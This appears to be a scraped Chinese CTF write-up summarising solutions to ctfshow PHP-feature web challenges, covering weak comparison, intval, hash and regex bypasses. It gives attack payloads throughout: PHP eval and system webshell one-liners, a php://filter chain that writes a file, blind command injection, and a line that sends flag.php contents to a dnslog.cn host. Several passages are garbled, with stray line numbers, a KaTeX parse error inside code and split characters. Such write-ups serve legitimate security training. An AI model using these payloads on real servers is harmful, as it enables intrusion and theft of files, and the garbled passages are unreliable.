ctfshow web入门 php特性总结
后台-插件-广告管理-内容页头部广告(手机) |
1.web89
intval函数的利用,intval函数获取变量的整数值,失败时返回0,空的数组返回,非空数组返回1
num[]=1
- 1
- 2
- 3
- 4
- 5
- 6
2.web90
intval函数的利用,怎么进行取整,php强类型比较
intval('4476.0')===4476 小数点 intval('+4476.0')===4476 正负号 intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制 intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格- 1
- 2
- 3
- 4
- 5
- 6
3.web91
利用的正则表达式的多行匹配if(preg_match(/^php/im,KaTeX parse error: Expected '}', got 'EOF' at end of input: …match(/^php/i),a){echo ‘hacker’;}}
第一个开启了多行匹配
- 1
4.web92
php弱类型比较和intval取整,ph弱类型比较会进行类型转换
只能使用进制绕过了
- 1
- 2
- 3
5.web93
php弱类型比较和intval取整,过滤了字母
使用8进制
- 1
- 2
6.web94
php强类型比较和intval取整,过滤了字母和0,if(!strpos($a,‘0’)){die (‘no no’);}
strpos — 查找字符串首次出现的位置,不能使用8进制了,但是可以使用空格+8进制
- 1
- 2
- 3
7.web95
php强类型比较和intval取整,过滤了字母和0还有点
intval(' 010574')==4476 8进制+空格- 1
8.web96
目录遍历
./flag.php /var/www/html/flag.php- 1
- 2
9.web97
md5值比较,数字不相等但是md5值相等,可以用数组绕过
数组的md5值为null
- 1
10.web98
&引用,表示不同变量名的值指向同一个值,get变量被post变量覆盖
get:1=1 post:HTTP_FLAG=flag- 1
11.web99
in_arry弱类型比较和rand(min,max)返回min到max之间的一个随机数([min,max]),arry_push往数组末尾添加一个数
in_array延用了php中的==
- 1
- 2
新加进去的随机数字每次都包含1,1存在的几率是最大的
n=1.php post:content=<?php eval($_POST[1]);?>- 1
12.web100
and与&&的区别和反射类的使用
&&与and都表示逻辑与,||与or都表示逻辑或
优先级&&>and>=,||>or>=
- 1
- 2
- 3
- 4
- 5
- 6
反射类
<?php class A{ public static $flag="flag{123123123}"; const PI=3.14; static function hello(){ echo "hello"; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" } var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 1
- 2
13.web101
and与&&的区别和反射类的使用,过滤变多了,命令执行不了了,为啥反射类可利用,通过读取ctfshow.php发现flag是一个变量名
- 1
14.web102
bin2hex的使用,call_user_func
call_user_func — 把第一个参数作为回调函数调用,其余是参数
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
v2必须有数字
$a='<?=`cat *`;'; //为什么用这个,主要是因为编码后带e,或者是编码后全部是数字 $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //这里直接用去掉=的base64 //输出 5044383959474e6864434171594473 带e会被当做科学计数法,而base64去掉等号,不影响解码 bin2hex把ascii码转为16进制- 1
- 2
- 3
- 4
- 5
- 6
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
15.web103
和web102一样
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post v1=hex2bin- 1
- 2
- 3
16.web104
sha1弱比较,出错了
v2=1 post v1=1- 1
- 2
17.web105
变量覆盖,die可以带出数据
考查的是
变量覆盖,die可以带出数据,输出一条消息,退出脚本
变量覆盖是把变量的值当作另一个变量的名
- 1
- 2
- 3
- 4
- 5
分析:
有两个地方有变量覆盖,有两个die函数输出,最后一个die函数要用的话,必须设置flag,但是设置flag后就只有进行变量覆盖了,所以只能用第一个die函数里的error,需要考虑怎么通过变量覆盖使变量error和变量flag相等,还需要借助变量suces
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 1
- 2
18.web106
sha1弱比较,数组课绕过
v2[]=1 v1[]=2 或者v1和v2随便用下面的一个,科学计数法为0 aaroZmOk 0e76658526655756207688271159624026011393 aaK1STfY 0e66507019969427134894567494305185566735 aaO8zKZF aa3OFF9m- 1
- 2
- 3
- 4
- 5
- 6
- 7
19.web107
md5弱比较,parse_str
数组绕过,md5不处理数组,返回null,v1不输入业返回null
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 1
- 2
- 3
20.web108
ereg %00截断, strrev()
strrev() 反转字符串
- 1
- 2
- 3
ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值
c=a%00778- 1
21.web109
原生类利用,异常类和反射类
类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
echo new Exception(system(‘echo phpinfo’)())
会先输出phpinfo,之后在执行phpinfo,最后抛出异常,需要执行完函数把函数的结果在通过异常进行抛出,执行顺序为什么时这样的因为不是这样的Exception(“system(‘echo phpinfo’)()”),不是当作一个整体进行输出,需要执行完才能把命令执行的结果当作整体进行输出
- 1
- 2
- 3
22.web110
FilesystemIterator类利用
getcwd获取当前目录,DirectoryIterator遍历目录,文件名称(. … 1.c) FilesystemIterator遍历目录名+文件(/1.c),echo new DirectoryIterator(getcwd())只输出第一个
都是获取目录下的文件
- 1
23.web111
$GLOBALS 超全局变量利用
$GLOBALS —包含全局作用域中可用的全部变量
$v2=GLOBALS
$$v2=$GLOBALS
&$
v
2
表示取
v2表示取
v2表示取GLOBALS的所有值
&引用表示不同变量指向同一值
- 1
- 2
- 3
- 4
- 5
- 1
24.web112
伪协议绕过is_file
php://filter/resource=flag.php php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php php://filter/read=convert.quoted-printable-encode/resource=flag.php compress.zlib://flag.php- 1
- 2
- 3
- 4
25.web113
/proc/self/root的用法和伪协议绕过is_file
/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
- 1
26.web114
伪协议绕过is_file
php://filter/resource=/flag- 1
27.web115
trim和is_numeric的绕过
string trim( string $str[, string $character_mask = " \t\n\r\0\x0B"] ) 此函数返回字符串 str 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符: ◦ " " (ASCII 32 (0x20)),普通空格符。 ◦ "\t" (ASCII 9 (0x09)),制表符。 ◦ "\n" (ASCII 10 (0x0A)),换行符。 ◦ "\r" (ASCII 13 (0x0D)),回车符。 ◦ "\0" (ASCII 0 (0x00)),空字节符。 ◦ "\x0B" (ASCII 11 (0x0B)),垂直制表符。- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
如何绕过is_numeric
除了数字和±.号以外还有 %09 %0a %0b %0c %0d %20
绕过trim和is_numeric
只有%0c
- 1
28.web123
考查的$_SERVER变量和php变量名的转换 命令执行
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、[,+、点转换为下划线,而传入[之后后面的空格、[,+、点就不会被转为下划线了
$_SERVER变量
1.cli模式(命令行)下
第一个参数$_SERVER[‘argv’][0]是脚本名,其余的是传递给脚本的参数
2.web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务, S E R V E R [ ‘ a r g v ’ ] 才会有效果这时候的 _SERVER[‘argv’]才会有效果 这时候的 SERVER[‘argv’]才会有效果这时候的_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
a r g v , argv, argv,argc在web模式下不适用
对于这题来说就是$a[0]= $_SERVER[‘QUERY_STRING’]
<?php $a=$_SERVER['argv']; var_dump($a); #传入 a=1+fl0g=flag_give_me #结果如下 array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }- 1
- 2
- 3
- 4
- 5
- 6
parse_str
parse_str (PHP 4, PHP 5, PHP 7) parse_str — 将字符串解析成多个变量 说明 void parse_str( string $encoded_string[, array &$result] ) 如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 ) <?php $str = "first=value&arr[]=foo+bar&arr[]=baz"; // 推荐用法 parse_str($str, $output); echo $output['first']; // value echo $output['arr'][0]; // foo bar ?>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
29.web125
get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])- 1
- 2
30.web126
get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])- 1
- 2
31.web127
变量名称符号转换
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、[,+、点转换为下划线,而传入[之后后面的空格、[,+、点就不会被转为下划线了
- 1
32.web128
call_user_func 代码执行,gettext和get_defined_vars 和call_user_func
call_user_func
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
gettext
string gettext( string $message) 返回输入的字符 _()==gettext() 是gettext()的拓展函数,开启text扩展,_是gettext的别名。需要php扩展目录下有php_gettext.dll echo gettext("Welcome to My PHP Application");- 1
- 2
- 3
- 4
get_defined_vars()
get_defined_vars — 返回由所有已定义变量所组成的数组- 1
- 1
33.web129
目录穿越和stripos 用法
stripos
stripos (PHP 5, PHP 7) stripos — 查找字符串首次出现的位置(不区分大小写) 说明 mixed stripos( string $haystack, string $needle[, int $offset = 0] ) 返回在字符串 haystack 中 needle 首次出现的数字位置。 与 strpos() 不同,stripos() 不区分大小写。 参数 haystack 在该字符串中查找。 needle 注意 needle 可以是一个单字符或者多字符的字符串。 如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。 offset 可选的 offset 参数,从字符此数量的开始位置进行搜索。如果是负数,就从字符末尾此数量的字符数开始统计。 返回值 返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。 如果未发现 needle 将返回 FALSE。- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 1
34.web130
正则匹配的绕过
1.正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
python脚本
- 1
- 2
- 3
- 4
2.直接绕过
f=ctfshow- 1
35.web131
正则匹配的绕过
import requests url="" data={'f':'very'*250000+'360Dctfshow' } r=requests.post(url,data=data) print(r.text)- 1
- 2
- 3
- 4
36.web132
短路运算符 &&和||
username=admin&password=aa&code=admin- 1
37.web133
无回显的shell_exec命令执行
get传参 F=`$F `;sleep 3 经过substr($F,0,6)截取后 得到 `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); 也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3"); 前面的命令我们不需要管,但是后面的命令我们可以自由控制。 这样就在服务器上成功执行了 sleep 3 所以 最后就是一道无回显的命令执行题目了- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
写文件试了不行,应该是没权限
通过curl进行外带,curl只能带出一排数据,可以直接筛选flag进行带出
利用的平台是https://requestrepo.com/
- 1
38.web134
POST数组的覆盖
<?php parse_str($_SERVER['QUERY_STRING']); var_dump($_POST);?> 然后我们传入 _POST[‘a’]=123 会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” } 也就是说现在的$_POST[‘a’]存在并且值为123 题目中还有个extract($_POST) extract() 函数从数组中将变量导入到当前的符号表,也就是说把键名当作变量名,值作为变量的值 这样的话 $a==123- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 1
39.web135
1. 访问1.txt即可 F=`$F `;cp flag.php 1.txt 2.ping外带 `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn awk利用NR一排排的带数据- 1
- 2
- 3
- 4
- 5
- 6
40.web136
考察无回显的命令执行 使用linux中的tee命令
: ls /|tee 1 访问1下载查看文件1发现根目录下有flag cat /f149_15_h3r3|tee 2 访问下载查看文件2- 1
- 2
41.web137
考查call_user_func调用类的静态方法 ::调用
call_user_func
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 1
42.web138
考查call_user_func调用类的静态方法 数组传入调用
ctfshow[0]=ctfshow&ctfshow[1]=getFlag- 1
43.web139
文件盲注
使用盲注的方式,跟sql的时间盲注差不多,这里利用的时linux的shell语法
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
awk nr从第几行开始
cut截取字符第几个字符
44.web140
弱类型比较,intval把非零数字转为0,而后面的ctfshow会进行类型转换,也会转换为0
f1=md5&f2=md5 f1=usleep&f2=usleep f1=md5&f2=sleep f1=sha1&f2=md5- 1
- 2
- 3
- 4
45.web141
无字母数字的命令执行
或,异或,取反等运算都可以
- 1
46.web143
无字母数字的命令执行
或,异或等运算都可以
- 1
47.web145
无字母数字的命令执行
或,取反等运算都可以 三目运算符的使用
或,异或,取反命令构造脚本
- 1
- 2
48.web146
无字母数字的命令执行
或,取反等运算都可以位运算符逻辑运算符的使用
- 1
- 2
web141-web146 无字母数字命令执行 或,异或,取反等运算符的使用
+,-,*,/,|,||,==,&,&& 绕过return,可以和函数一起使用
- 1
- 2
- 3
49.web147
create_funciton的用法
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)- 1
- 2
%5c()绕过正则
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
create_funciton
- 1
- 2
- 3
- 4
- 5
- 6
- 1
- 2
50.web148
无字母数字命令执行
异或运算(中文变量)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
51.web149
条件竞争
ctf=1.php show=<?php system('tac /c*';)?>- 1
- 2
burp 抓包发送到intruder 一个不断发送上面数据 位置不设 payload 设为null 另一个不断访问1.php
非预期
ctf=index.php show=<?php eval($_POST[1]);?>- 1
- 2
52.web150
strrpos查找最后出现的位置,没有为flase
===优先级高于&&
extract导入当前符号表,也就是变量覆盖
$_SERVER [‘QUERY_STRING’] 表示获取get和post 中的参数和值
非预期 日志包含
- 1
- 2
- 3
53.web150 plus
__autoload的函数在不在ctfshow类中
__autoload加载未定义的类,即进行类函数判断时会调用这个函数
__autoload函数会执行这个变量class
需要先构造__CTFSHOW__但是_被过滤了,.可以绕过,构造了这个变量
…CTFSHOW…,需要进行传值,因为原先并没有,而extract函数可以覆盖原先的变量,就变为了$CTFSHOW=phpinfo,class变量就是__ctfshow__变量,class的值为phpinfo,最后就会执行phpinfo
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW…=phpinfo就可以看到phpinfo信息啦
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
- 1
- 2
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。
在线投稿:投稿 站长QQ:1888636
后台-插件-广告管理-内容页尾部广告(手机) |